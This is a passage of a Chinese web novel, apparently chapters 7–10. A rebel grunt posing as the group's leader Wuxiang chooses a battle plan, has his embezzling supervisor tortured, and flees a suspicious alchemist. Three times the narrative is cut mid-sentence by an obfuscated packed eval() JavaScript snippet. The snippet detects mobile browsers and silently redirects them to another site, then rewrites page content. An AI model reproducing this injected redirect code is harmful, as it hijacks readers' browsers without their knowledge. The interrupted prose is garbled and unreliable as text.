那是加卡托兰的旗帜,是所有人都向往的反抗之地,希望之处,安宁之所。 本该是这样的。 一种难以言喻的情绪腾一下涌上来,像是吞入了滚烫的烙铁,所以呼吸逐渐急促,焦灼在胸腔蔓延,喉咙异常干渴。 即使仍在冰凉的雨中,这股情绪也无法被浇灭。 可为什么不是了呢? 只因为他是弱小的、无人在意的、不起眼的小喽啰吗? 可凭什么? 隔绝世界的雨水中,他听见内心深处,传来微弱但疯狂的声音。 这世道如此,像他这样的人,总是被践踏、被掠夺、被放弃的。 但,假如他成为另一个人呢? 一个足以影响庞大组织、改变他人命运、重组世界的人呢? 绵密、潮湿的水雾中,少年神色被黑发遮掩,只瞧见他抿紧了唇,突然夹紧了马腹,调转方向,朝来时的路奔去。 孤注一掷地、义无反顾地,像一只扑向火焰的蝴蝶,选择了本不该奔赴的命运。 ———— 摩菲·戈尔德没想到无相来得这么快。 在他的预期里,即使乌镶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845867|175778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月立刻出发,通知了无相,对方也会迟个一天半天,在紧要关头才出现。 无相向来如此,似乎感受不到战况焦灼,总是气定神闲、从容镇定的。 但这次快得超乎想象,是因为乌镶月去通知了?还是因为战况已经刻不容缓,根本没有悠哉的时间? 无论哪一种,他都立刻开启了战时状态,严肃地迎了上去。 “无相大人,您来了。” 无相似乎刚刚从外面赶回来,黑袍上落了一层细密的水珠,回答的语气一如既往的冷淡,“嗯。” 摩菲注意到他骑回来的马匹,是之前给乌镶月的那一匹。看样子是真的情况紧急,他匆匆带人进了会议室,门一关就开始讨论。 “之前的情况您应该知道了,帝国军的行动提前了,难怪您否决了之前的计划,原来是察觉到了这一点。” 乌镶月:“……嗯。”察觉个啥,他就是讨厌那个计划。 恭维过后,摩菲·戈尔德话锋一转,“那么,接下来该如何行动?请您指示。” 无相忽然沉默了下来,不知道是在组织语言,还是在思考战局情况,摩菲更倾向于后者。 可能是要在几种方案里,选择更为周全、有效的一种吧。他对无相这方面的能力从无质疑。 假扮无相而来的乌镶月则手指僵硬,满头大汗。 完蛋,这些高层怎么自己一个计划都没有的,全部指望无相一个人干什么?! 虽然他是来试探一下还能不能利用无相这个身份。但现在他要怎么给出一个根本不知道的计划啊! “无相大人?” 摩菲·戈尔德等了好一会,等到已经快超过无相平时思考的时间,才终于忍不住出声了,“您有计划了吗?还是说,需要什么麻烦的准备?” 准备棺材吧,用得上。 乌镶月一咬牙,还是开口了,“颜诡人去哪了?” 他记得这人擅长出谋划策,怎么不在啊?不是该为他分忧吗! “颜诡?” 摩菲·戈尔德没想到无相会忽然提这人,难道这次计划的主力是颜诡? “他昨天刚改完备用的第三版计划。现在可能还在睡。” 有备用计划! 乌镶月眼睛一亮,当即拍案,“叫他过来,我看看他的计划。” 摩菲·戈尔德领命而去。 不久,脸上挂着硕大黑眼圈,一脸快要升天状态的颜诡,出现在了会议室里。 “无相大人,您找我?”一开口也是进气多出气少的样。 “嗯,我看看你的计划。” 乌镶月一抬头,吓了一跳,这是什么品种的怨鬼? 下一秒,想到这人来这的原因,又恨不得让颜诡立刻回去休息。 这可是能写计划书的人才,万一就这么噶在眼前了,谁来帮他蒙混过关? 但他不能说。 从上次会面的态度来看,无相与其他下属的关系很微妙,显然不是那种会关心下属的上司。 为了让对方赶紧回去,他拿起颜诡带来的三版计划书,草草翻了翻。 尽管摩菲·戈尔德说是赶工的,但从他的角度看来,这些计划都很完善,达到了能立刻实施的程度。 该说不愧是大名鼎鼎的谋略家吗? 献祭了精气神,却换来了有用的计划书!感谢你,无相大人,挑选了这么好用的手下。 可该选哪一份? 乌镶月的犹豫仅仅持续了一秒,想到一脸虚脱样的颜诡,他将一版计划拍在了桌上。 听天由命吧! “就这份了!” 8. 第 8 章 被选中的是第一版计划。 传说在计划书界,总会出现翻来覆去改了十几版计划,最终被选择落实的,却是第一版计划的情况。 这次的选择,似乎也应验了这个传说。 颜诡半是心酸,半是安心地接受了这一点,好歹不用再颠倒日夜,献祭头发来写计划书了。 “那无相大人,容我告退。” 他干脆利落地道别,打算把前期工作发布下去,就赶紧去补觉。再不睡,要献祭的就不只是头发,还有小命了。 乌镶月目送金发狐狸眼青年离开,也暗暗松了口气。 太好了,没有猝死在他手上。看上去也没有怀疑他的身份。 这件事糊弄过去了,下一步就是找出之前偷他东西的人,并且报复回来了! 正当乌镶月雄心壮志,准备大展身手的时候,摩菲·戈尔德说话了。 “无相大人,按照这版计划,五天后我们将开始实施,请您届时准时到场。” 啊?什么玩意? 乌镶月瞥了眼压在手下的计划书,他不记得计划书上有说必须无相到场啊?能不能不去啊? 但他现在是无所不能的无相大人,不能露怯。 他慢条斯理翻动计划书,看似随便翻翻,保持着大人物的矜持,实则一目十行快速阅读,眼都快看花了。 这份计划应该是摩菲·戈尔德得到敌方探子的消息后,颜诡第一时间赶出来的。 帝国军队那方通过间谍探子等手段,得知了原本的诱敌深入计划,因此打算趁着他们调整策略之前,提前行动,快速进攻,打他们一个措手不及。 为了应对他们,颜诡这份计划采取是以伏击为主的反击。 加强前线部队防御的同时,在特定地点设置障碍物,延缓敌人推进的速度,也能在一定程度上重新占据主导权。 伏击可供选择的地点选择很多,其他路线也需要做布置,但必须有一处作为重心。 届时,他们将在战场重心位置,发号施令以应对突发情况。 但乌镶月压根不懂这些,届时就算到场,又怎么可能做出有效指示。 乌镶月很想说他没空他不想来,但还是那句话——他不能,他不知道真正的无相大人会如何,但他知道,摩菲·戈尔德敢问,就代表这种情况经常出现。 所以他扫了眼摊开的地图,眼一闭,心一狠,点头。 “好。”大不了到时候他谎称生病不去,反正他们又不可能找到真正的无相。 更何况战场上有一个谋略家一个情报专家不就够了吗?何必还必须有一个无相大人。 摩菲·戈尔德点点头,“那就好,无相大人,我这就下去做准备。” 乌镶月还没反应过来,摩菲·戈尔德已经一副胜券在握的模样,快快走出了会议室,头都不回。 不是?你就走了? 他瞠目结舌,眼见着原本还有点人气的会议室,又恢复成了一片安静。 这一瞬间,他感觉所谓的无相大人就像是个被用完就丢的工具。 无相大人……你真不容易啊。感叹完他反应过来,人都走了,那谁来帮他找回他的东西、他的财产? 随便找个人传达命令?先派人彻查? 可他根本不清楚这里的人员等级,顶多知道比小喽啰大,万一随便找的人根本不具有实施的能力,该怎么办? 焦头烂额之际,乌镶月灵光乍现。 不,不对。 即使是加卡托兰大本营,组织权利集中地,除了颜诡和摩菲·戈尔德,他还是有认识的中高层的。 他立刻冲着门外的守卫叮嘱:“去,把杰里·毕夏普喊来。” “好、好的。”被点到的守卫一脸惊喜,好似是觉得被无相大人使唤而激动,速度飞快,不一会就把人带来了。 一个衣着精致,头顶一撮深棕头发,大腹便便的白胖中年男人跑到了他面前。 许是来得太过匆忙,中年男人额头满是汗水,顺着那张过于圆润的下巴滑落,他一边大口喘气,一边用手帕擦,都没时间抬头。 “杰里·毕夏普带来了。” “嗯。” 简短的一句回应,那守卫却满脸自豪,连周围其他守卫的眼神都有些羡慕。他朝乌镶月行了个礼,回到了原处。 乌镶月略感不适应,避开灼热的视线,看向已经缓了一会,低着头等着命令的中年男人,藏在黑袍下的脸露出了一抹冷笑。 抓到你了,狗上司! 乌镶月没有参加过别的组织,不清楚正常的上司与手下到底是什么样。但杰里·毕夏普作为他们一个小分队的管理者,确实教会了他社会险恶。 作为加卡托兰的底层小喽啰,他们的日常工作,无非巡逻、搬运、站岗等。其中站岗和搬运是最常见的,巡逻比较轻松,需要一点人脉关系才能去做。无论哪种,干了活他们都有钱拿。 虽然不多,但保证每个月不挨饿是没问题的。而且干得勤快,节俭的话,还能添几件衣服,买点低价炼金药水。 可自从杰里·毕夏普挤掉了原本的小分队队长,成为他们的新上司,这样的日子就一去不复返。 明明做的活是一样多的,搬东西搬得腰酸背痛,头都抬不起来了,站岗日夜颠倒,眼皮都打架,到手上的钱却越来越少,别说每个月的衣服了,连额外买个面包,都要掂量一下存款。 干活越多越饿,越饿越需要干活挣钱,不然更饿。忍着肚子咕咕直叫,不少底层人员怒而抗议,逼问杰里·毕夏普钱去哪里了。 面对他们的不满,杰里·毕夏普总是笑眯眯的,用两套类似的话术应付。 “哎呀,现在组织里也没有多余的钱了,你们有地方住有东西吃,就该对组织心存感激,怎么能这么贪心,你们要多为组织着想啊。” “工作变多了?那是肯定的啊,组织看重你们。钱?什么钱,你们有活做都是运气。组织里可不缺人,想加入的大把着呢。你们可考虑清楚,离了加卡托兰,你们还能去哪里?” 说是这么说,他自己倒是越过越圆润了。还叫来守卫,将他们轰了出去。 很多人背地里说,杰里·毕夏普是吞了那些钱,私自拿去用了。但苦于抓不住实际证据,对方又和处刑队的人有交情,举报也没用,只能继续忍气吞声。 如今,这个机会撞到乌镶月手上了。 “杰里·毕夏普。” 坐在上首的黑袍男人声音低沉,听不出喜怒,被喊的那人却惊得几乎跳起来,慌张地喊了一声“在”。 杰里·毕夏普不知道自己这个小中层,是怎么被无相大人这种大人物注意到的。但高层的注意对他来说,非福是祸。 他现在只祈祷他还能活着走出这里。 “你可知罪!” 偏偏无相大人一开口气势逼人,周身威压深重,杰里·毕夏普冷汗涔涔,肥胖的身体抖啊抖,说话都不利索了。 “知、知道。”他快速在脑子里回忆了一圈最近做了什么。是他最近看上了一栋民宅将其强占的事暴露了,还是偷偷截取了物资拿去转卖的事被发现了? 越想越害怕,手帕擦啊擦,都彻底湿透了。 “知道?”无相大人语气森然,“你知道还敢站在这里说话?” 肯定是最严重的那个被发现了! 杰里·毕夏普双腿一软,差点跪倒在地,立刻哭爹喊娘:“不,不是的。无相大人,我,我只是一时鬼迷心窍,我有罪,我不该偷拿组织的物资,转卖给其他人,也不该欺上瞒下,偷偷挪用组织的钱。但我不是叛徒,也曾帮组织立下汗马功劳啊!大人,求您网开一面!” 什么玩意?他还干了这么多缺德事?! 乌镶月一愣,没想到这人居然胆子这么大,还敢偷物资。加卡托兰可是三令五申不许偷物资,如果做了就要被当众处刑的。这么一说他更怀疑对方还隐藏了什么,毕竟他还没说拿他们钱的问题! “事到如今,你还要隐瞒吗?!” 仿佛应和他的话语,那些守卫冰冷的眼神扫了下来,握紧了腰间火铳。 杰里·毕夏普呼吸一滞,感觉下一秒额头就会多一个洞,差点吓尿出来,顿时扑到无相大人脚下,哆哆嗦嗦把事情全部交代了。 “我说、我都说,请饶我一命,饶我一命!” 于是他真把上到骗取物资,下到威逼平民上交财物的事都说了出来。 乌镶月瞠目结舌,没想到自己随手一吓还能吓出这样的事来。虽说他们是和帝国对着干的反派 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845868|175778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但也没想到区区一个小中层能反派到这种程度。 他做不成中层的原因,难不成是因为他没有这么无耻? 可听到最后也没听到关于吞他们工资的事,他都有点怀疑是不是杰里·毕夏普干的了。 “这就是全部?” 杰里·毕夏普满头是汗,在记忆里使劲挖掘了一阵,确实没有想到值得一说的事,战战兢兢点头,“对,这就是全部了。” 黑袍男人沉默了一会,不见喜怒道,“你侵吞下属工资的事呢?” “啊?”杰里·毕夏普愣了一下,他完全没想到无相大人还关注这个,这件事在他的思维里,理所当然到了不需要专门去说。 大家都是这么干的啊。难道有人和无相大人有交情,告了上来? 心惊胆战的同时,他也不敢隐瞒,“有,有的。” “那你还敢说没有!” 乌镶月牙痒痒,他当然看得出来,对杰里·毕夏普来说,这件事恐怕微不足道,不然也不会临了都想不起来。 但这件事对他很重要!他的面包,他的衣服,他的生活! “我、我……” 杰里·毕夏普说不出话来,他在自爆时就有了觉悟,今天恐怕走不出去了,可他怎么也没想到,无相大人竟然会在最普通最平常的这件事上发难。 乌镶月张口就想叫旁边虎视眈眈的守卫弄死他,但转念一想,如果现在弄死杰里·毕夏普,钱就充公了,就不能回来了! 不行,得缓一缓。 思绪万千间,他下了决定,“你犯了很多错,来人,上刑!别弄死了。” 他没说到底什么刑罚,他知道的刑罚也不多,但没关系,旁边的守卫早就跃跃欲试,不用他多说,就扑过来,将瘫软在地上的杰里·毕夏普拖了出去。 “无相大人、无相大人、饶命,饶啊——!” 被拖出去的中年胖男人发出撕心裂肺的惨叫。 也不知道到底做了什么,等守卫拖着后背血淋淋的杰里·毕夏普回来时,乌镶月也吓了一跳。 他压下微妙惊惧,再度开口。 “念在你为组织出过力的份上,我可以给你一次将功补过的机会。” 杰里·毕夏普原本已经如死灰的心一下子活泛起来,当即趴跪在地上忏悔:“无相大人宽宏大量,我一直改过自新,重新做人,绝不会再犯……” “你不会以为之前的事不用弥补吧?”他直接打断了他。 “不不不,我一定弥补,一定改过!”杰里·毕夏普又是发誓又是赌咒,好一番保证,才得了无相大人一句“滚吧”,便一脸虚脱的感激样,一瘸一拐出去了。 乌镶月看着他颤颤巍巍的背影,第一次觉得成为无相还是有点好处的。 要不是他在摩菲·戈尔德那里挂了个暗桩的位置,他就可以挤掉恶心上司的位置,自己升级一下了。 不想当BOSS的小喽啰,不是好反派!不过既然现在他是无相,总有机会的! 心情不错的乌镶月边思考边往大本营外走,其他人不敢冒然接触积威甚重的无相,更何况刚刚发生了那样的事,全都默默目送他。 乌镶月几乎快适应这样来去自如、前路无阻的感觉了。 结果才转了个弯,就迎面和人撞上了。 咚一声,像是撞到了某种钢铁,乌镶月捂着鼻子,一时间头晕眼花,“唔……” 对方倒是没有什么大碍的样子,不仅没有后退,还伸出异常冰冷的手扶住了他。 等等,异常冰冷的手?坚硬的身体? 乌镶月想骂人的嘴停下了,他只听说过一个人有这样的特征。 加卡托兰的顶尖炼金术师——季星·戴纳,传说中将自己大半身体都当做炼金材料炼制了的怪人。 抬头一看,紫发青金色眼睛,容貌清俊,身形高瘦,穿着一套陈旧的炼金术袍,一看就是炼金术师。 嘶,这人怎么忽然出现了?不是说一直都独自关在私人炼金室吗? 不知道他和无相的关系怎么样,总之,先应付过去,躲开吧。 没等他装模作样,这个怪人上下打量他一番,先一步发话了。 “你……是谁?” 乌镶月一句话顿时卡在了嗓子眼。 9. 第 9 章 你是谁? 如果平常遇见这个问题,乌镶月一定会答出自己的名字。 但此时此刻,这个问题的含义不再是单纯的询问姓名,而是另一种意义上的索命符。 他穿着所有人都认识的黑袍,被所有人都默认为加卡托兰的最高领导者——无相大人。 却有人问他,是谁? 乌镶月全身骤然紧绷,想后撤两步,拉开距离。 面前人扶住他的那只援手,在此刻却转变成禁锢的束缚,紧紧抓着他,似乎要防止他逃走。 他咬住唇,克制住胆怯,用无相大人的声音,冷肃道,“你做什么?” “嗯?” 作为著名的疯狂炼金术师,季星·戴纳看着与普通炼金术师没什么区别。 此刻他反倒很困惑似的,青金色的眼眸垂落,像在看什么古怪的生物,“声音一致啊。” 乌镶月呼吸一滞,趁对方心思流转的这一瞬间,用巧劲挣开了手腕,退开几步。 “你在胡言乱语什么?” “胡言乱语?”季星·戴纳没有再追过来,只问他,好似满心好奇,“这身打扮,还有声音,你是无相的崇拜者?” 什么崇拜者?他不是该认为我就是无相吗?!哪里露出破绽了?还是试探? 难言的惶恐中,乌镶月捏紧拳,仿佛愤怒地呵斥道:“季星·戴纳!” “你认识我?”季星·戴纳眨眨眼,嘴角一弯,对他扯出一个友好的笑,“你叫什么?” 仿佛在认识一个新朋友般普通、正常。 越是如此,乌镶月越不安。 对方的态度与行动,是他假扮无相以来,遇见的最不正常的一个。好似一开始就认定了他不是无相,才用这般语气。其他人多少都会试探的。 “你要装傻到什么时候?!我可不奉陪了。”说罢,黑袍一扬,他转身就走。 三十六计走为上计。遇见邪门到处理不了的人,赶紧先跑了再说! 结果还没走两步,袍角就传来了拉扯感,一股风从下方吹来,吹得整个小腿凉飕飕。 “!!!”行动快过思维,他立刻一脚飞起,将人踹开了。 意外的是,踹上的一脚没有提到铁板的感觉,更像是人体。 但那一瞬间,比起疑惑,乌镶月更多的是心惊,这是第一次有人敢碰无相! 在此之前,无论颜诡和摩菲·戈尔德态度如何,都是不会轻易近身的。这也是他敢假扮无相的底气之一,如今这条看似共同的潜规则被打破了。 “你到底想做什么?!” 他猛转头,近乎吃人的视线,正好对上季星·戴纳好奇的眼光。 紫发炼金术师站在原地,神情无辜得好似刚刚拽起黑袍的人不是他。 但下一个动作就足以证明其绝非无辜——他抬手捻了捻指尖,像是在仔细回忆触感,然后脱口而出一句不知从何而来的感慨。 “居然是真货啊。” 什么真货,又在验证什么?乌镶月满心疑问,不敢暴露一个字,快速冷静下来,沉下语气,兴师问罪,“如果你活腻了,我可以帮你解脱。” “无相大人这是在开什么玩笑?”这会儿,季星·戴纳又好像重新长了眼睛,一句话间就承认了他的身份。 “……”乌镶月难以理解到底发生了什么变化,也不知道这人是不是开玩笑,繁多的思绪中,甚至开始思考灭口。 这样的人不受控制,太过危险,万一真的某天叫破了他的身份,一切就完了! “嗯?您想杀了我吗?” 没想到只是一点杀气,对方就敏锐地察觉到了,还一脸平静地问了出来。 “可您如果现在杀了我,我就没法给您炼制药剂了。您不是说,想要延长寿命的药剂吗?我给您带来了。” 乌镶月杀意一滞。 延长寿命的药剂?贵到有市无价的那种药剂?无相大人为什么想要这个?之前看的无相大人明明才中年模样,看着寿命还长,根本不需要这种药剂。 该不会是季星·戴纳在骗他吧?可这种药剂要是真的有,这么珍贵的东西…… 胡乱思考了一分钟,他冷声道:“拿来。” 紫发炼金术师毫无意外之色,从自己的袍子里掏了掏,戴白手套的手递过来一瓶药剂。 淡金色的药水,仿佛流动的黄金,看着就极为珍贵。 乌镶月不懂炼金术,众所周知,越澄清的药剂一般越贵,这瓶比他曾经买过的低价药剂好看许多,品相很好,一看就能卖出天价。 无相大人的装扮里也有手套,不怕碰到就会中毒。他隔着手套,接下了这瓶药瓶,另一只手又摸上了刀柄。 “无相大人,这是其中之一,别的我也带了。” 仿佛看穿了他的动作,季星·戴纳适时出声,再次打断了他的杀意。 乌镶月顿了下,都要怀疑这人是不是故意的了。没听说过炼金术师会读心术啊。 他久久注视这位看着温和到没有一丝传闻中疯狂意味的炼金术师,忽然指了指旁边隐蔽的巷子,“到那里说。” 这里离加卡托兰大本营太近了。 季星·戴纳没有异议,甚至先一步迈出了脚步,将空荡的后背暴露了出来。 乌镶月沉默着跟着他身后,开始慢慢地、不着痕迹地调整步伐、行走距离、呼吸节奏。 “对了,无相大人,这次计划中要用的药剂,我还有一点疑问。” 刚一进入巷子笼罩的阴影,季星·戴纳就开口了。 身后人依旧沉默。 紫发炼金术师似乎习以为常,继续自顾自说,“这批药剂的威力,比之前说好的要弱不少,您为什么……” 想要征求意见似的,他自然而然转头,下一秒,话堵在了嘴边。 没有人。不是无相一言不发,而是——已经不见了。 不知何时,那位身披黑袍、气势冰冷的大人,已经离开了。 这里只有他。 季星·戴纳站在狭小的巷子内,全身笼罩在阴影的边界内,潮湿腥臭的气味萦绕周围,距离外界稀薄的阳光仿佛隔了一个世界。 许久,紫发的炼金术师才轻轻叹了一口气,青金色的眼眸收敛了温和的情绪,回归到一种轻飘飘无机质的非人感中。 “可惜了,没能抓到啊。” 这一刻,男人好像才和传闻中疯狂的炼金术师形象重合了。 另一头,乌镶月正在拔足狂奔。 可疑,实在可疑,可疑到他怀疑如果他杀了季星·戴纳,下一秒就会发现这个人不但没死,还露出诡异笑容的程度。 而且这次要实施的计划里,需要很多炼金药剂。 季星·戴纳作为加卡托兰以一敌百的炼金术师,暂时还不能死。死了肯定会找真凶,总不能找着找着找到他自己头上来。 种种思考下,他做出了决定——跑。 面对变态,还是揣测不定的变态,正面应对是讨不到好的。 反正季星·戴纳是常年闷在实验室的炼金术师,这次送完药剂,肯定又会回去蹲实验室。只要这段时间他避开这个家伙就没问题了。 纵使季星·戴纳察觉到什么异常,也没有机会揭穿。 乌镶月仔细思考了一遍,深感自己的英明神武。不愧是他,完全没有中敌人的奸计,还得来了珍贵的药剂。 一路七绕八绕,在某 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845869|175778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个无人角落里,他快速把黑袍脱下,变回不起眼的腰带。 这是他之前拿回家研究时发现的功能。无相大人这件黑袍,竟然本身就是一件炼金物品,展开是斗篷,收缩则是腰带。因此它能被随身携带,躲过了之前家被偷的案件。 “无相的东西,奇奇怪怪的。”他嘀咕着,将其归功于大人物的奢靡作风,仔细系好了腰带。 再走出来时,他衣着普通,身份更是泯然众人——加卡托兰普通底层成员,乌镶月。无人能将他与那位令敌人闻风丧胆的无相联系起来。 “阿月,你回来啦!” 这次刚一走进居住的楼房,汤姆依旧满脸热情地同他打招呼,好像之前什么都没有发生。 乌镶月没有忘记之前的事,不搭理他,冷着脸径直往上走。 汤姆仿佛没发现他的拒绝,再度贴了上来,还是那副八卦的神秘口吻,“阿月,你知道吗?杰里·毕夏普之前一瘸一拐回来,然后竟然转性了!” 乌镶月正上楼梯的脚步顿了下,瞥了他一眼。 如同从这一眼中得到了鼓励,汤姆一下子来劲了。 “你不知道,他竟然宣布要彻查之前的盗窃、抢劫案件,还说上面给了补贴,要把之前的工钱都给我们!” “按照那个抠门死胖子的性格,居然没有把钱全部吞了,还来管盗窃与抢劫的小事。他以前不是还说过什么‘盗窃走了东西也是小偷的本事,要怪就怪自己不好好看着’之类的话嘛,没想到不过出去了一趟,也不知道被谁教训了,居然完全变了个样。” 看来即使是奸滑的狗上司,面对顶头上司的死亡威胁,也不敢阳奉阴违。 乌镶月想到这,还颇有两分自得,要不是他,这些钱怎么可能回来。不过还是得找个由头把杰里·毕夏普宰了,这家伙不可信,说不定哪天又变原样了。 “我还听说,不止我们,其他小分队也决定整治了。真是奇了怪了,好端端的,怎么突然要管事了,虽然是好事,但总让人觉得背后可能藏着什么阴谋。对了,你最近经常不在,有没有打探到什么独家的消息啊?” 走到房门口,一路大方分享的汤姆终于图穷匕见,搓着手掌,朝他挤眉弄眼。 大概是听到风声了吧,以为高层要管下面了,大部分人都会见风使舵。但这没有必要和汤姆说,这人的态度变化也不逊于狗上司。 乌镶月连眼神都懒得给,直接打开门进去,又砰一声关上了。 木门擦着汤姆的鼻尖,惊得他出了一额头冷汗,等反应过来,才在门口大骂乌镶月,“你这个小混蛋,竟然……” “汤姆,你觉得杰里·毕夏普会管别人胡乱散播谣言的事吗?既然是整治,乱说话的人,是不是也该被剪了舌头?” 门内传来淡淡的反问,暗示意味极强。 “你!”汤姆脸色顿时青青紫紫,最后啐了一口,“没心没肺的小东西!”就忿忿走了。 乌镶月对这人连话都不想多说,这下重获清静,就躺在了自己的小床上。 他掏出那瓶据说能增加寿命的药剂,对准天花板上的吊灯。暖黄的光线穿过瓶身,又折射出一片淡金色块,倒映在他的眼睑下。 他一时有些出神。 这几天发生的事太多了,多到他甚至觉得像一场离奇又快速的梦境,所以从开始奔跑,就不能再停下。 直到现在,他有时间短暂歇息,才忍不住思考。 无相大人为什么需要这种药剂?这个念头刚一升起,他才恍惚察觉,他假扮的无相大人,他曾以为无所不能的无相大人,许多人仰望的无相大人。 不知来历、不知过去、不知想法。 到底……是什么人? 10. 第 10 章 无相大人的事,好像谁都能说上一嘴。 比如站出来公然反抗拉加帝国的反叛者,创建加卡托兰的组织者,战场上决胜千里的英雄人物。 但细细一问,具体到长相、出身、喜好等,就没人答得出来了。 “无相大人就是、就是很厉害的人啊,知道这个不就行了。” 有人被问得不耐烦,如此回答。 在大多数人眼里,无相大人好像是一种精神符号,一个外显的支柱,一个遥远传说,而绝非一个正常的、有社会关系、有喜怒哀乐的人。 距离太远的大人物,对底层的他们来说,就是那样的。 如果不是发生了那种事,恐怕乌镶月也会将无相大人视作和雕像一样的东西。 没能打听出来什么,乌镶月龟缩在自己的地盘,干活时都特意将自己弄得灰头土脸,一步也不敢往大本营那边窜,生怕被季星·戴纳发现。 他总觉得这位炼金术师有点诡异,比摩菲·戈尔德那种挑明的戏谑要让人警惕。 幸运的是,这两天确实没什么事。 让人津津乐道的是,杰里·毕夏普履行了诺言,当真大力惩治违规行为,让不少等着看笑话的人大跌眼镜。不止如此,他还把当初偷东西的那一批人揪了出来,要求他们要么归还原物,要么照价赔偿。 作为受害者之一,乌镶月的东西大多被卖了,最后得到了零零散散的几件,和一笔钱。哦,还有一份心不甘情不愿的道歉。 看得出来,这些惯犯迫于压力才会这么做,等高压政策一结束,说不定哪天还会再犯。 但他不在意这些。能拿回自己的东西,已经比以前好上许多。 除此之外,杰里·毕夏普补发的那一笔钱更让人喜上眉梢。当然,对方没说是归还之前侵吞的工资,只说是上头压的工资发下来了。这样一说,倒还真有人觉得杰里·毕夏普是个好人了。 乌镶月猜测这是他的自救手段。可惜他不吃这套,所以无相大人也不会吃这套。 杰里·毕夏普发钱时痛不欲生、惹人发笑的嘴脸先不说,他的经济状况一下子从抠抠搜搜数着钢镚花的赤贫,转为了一天能买三顿面包的小有积蓄。 虽然比不上那些贵族老爷,但和一般平民相近了。 这值得庆祝一顿! 乌镶月毫不犹豫,锁定了城内著名的甜品店。他早听说那家店推出了季节限定的甜品,美味到供不应求,却苦于钱包干瘪,一次也没敢去。 今天,就是实现愿望的时候! 这次他是一个人去的。原本总陪他一起去吃的杰夫·李德,现在不知道是在牢房里,还是土里。虽然有点可惜,但想想被牵连的事,一下子又不怎么可惜了。 他和组织里其他人关系也一般,没有好到能一起约出去吃饭的程度,之前汤姆或许算半个,但现在不一样了。 乌镶月回想起来还是有些愤愤不平,直到闻到空气中香甜的味道,心情才好了起来。 这家店的用餐区域是露天的,高大的伞撑开,下方摆着木质桌椅,桌上还摆着鲜花。据说这是从王都学来的办法,既能遮阳,又很引人瞩目。 今天来这吃甜品的人不算多,限定甜品还有,但中心的好位置被占去了,乌镶月不在意这个,环顾一圈,挑了个边角坐下了。 甜品很快被送上来。圆鼓鼓的酥脆外皮,内含雪白柔软的奶油,和清甜新鲜的水果,看一眼就让人食欲大开。 乌镶月吸溜了口口水,拿起勺子挖下一块,惊叹其像豆腐一样柔软,就迅速塞到了嘴里。 好吃!像在牛奶做的云层里打滚,天上还下了水果雨,还像、像…… “想个屁想!他们就是要我们去死!” 糖分带来的满足感中,气急败坏的声音冷不丁闯入,乌镶月差点噎住,连忙灌了一口水才咽了下去。 是从临街的巷子里传来的声音。不知道为什么,不少人喜欢在无人的巷子或墙角商议事情,自以为无人知晓,也不管是不是隔墙有耳。 作为耳的那一方,乌镶月完全不感兴趣,甚至在考虑要不要换个地方坐。 “我当然知道,现在说这个也没用了,我们得想想办法,不然我们真要成了加卡托兰用了就丢的尸体了!” “我们能有什么办法?上头都下了命令,要我们当先遣队!这不是送死吗!” “所以我说,我们不如趁此机会赶紧跑吧!趁着他们还没注意到,赶紧跑!” “能跑去哪儿?加卡托兰给的钱是最多的了,帝国军那边死了,能不能留个全尸都不知道!” 接二连三的对话声中,乌镶月的动作慢了下来。 他是知道这件事的。不仅全程参与了决定行动的会议,计划也是他选的。 加卡托兰的底层人员获取的信息很少,往往在开战前才会得到行动指令。起码和乌镶月住在一栋楼里的组织成员,还不清楚这件事。 但纸包不住火,总有级别更高、消息更灵通的人,提前得知部分计划。 香甜的气息依旧萦绕鼻尖,嘴里还残留着甜腻的味道,品尝美食的黑发少年脑子里,却一闪而过血流成河、尸殍遍地的战场。 乌镶月盯着面前不知不觉被挖得坑坑洼洼、乱七八糟的甜品,感觉自己一瞬失去了吞咽的能力。 沉甸甸的东西似乎悄无声息滑入喉咙,沉入胃壁,压得他整个人呼吸都不顺畅,指尖都泛着冷意。 什么情况?先遣队……这不是最开始的那个计划吗? 那个无视底层组织成员意愿,想将他们的性命当做诱饵的,冰冷无情的诱敌计划。 乌镶月像吞了一口寒风,无数辩驳与解释,在沙哑的干涸中被吹散了。 他怔怔抬头,望向太阳落下的西方,在同样的方向,是他唯恐避之不及的,加卡托兰的大本营。 紫红交织的晚霞中,第一道阴影,似乎落在了那栋建筑上。 * 这个晚上,加卡托兰里有一部分底层成员悄无声息离开了。没人知道他们去哪,又或者是没人在意他们去哪。 第二天,晨光熹微,一个身披黑袍、宛如翻涌的乌云一般的男人,来到了加卡托兰的大本营。 “无相大人。”守卫们、士兵们、中层们这样呼唤他。 被恭敬称呼的男人没有回头,也没有应答,大步来到了当初讨论计划的会议室。 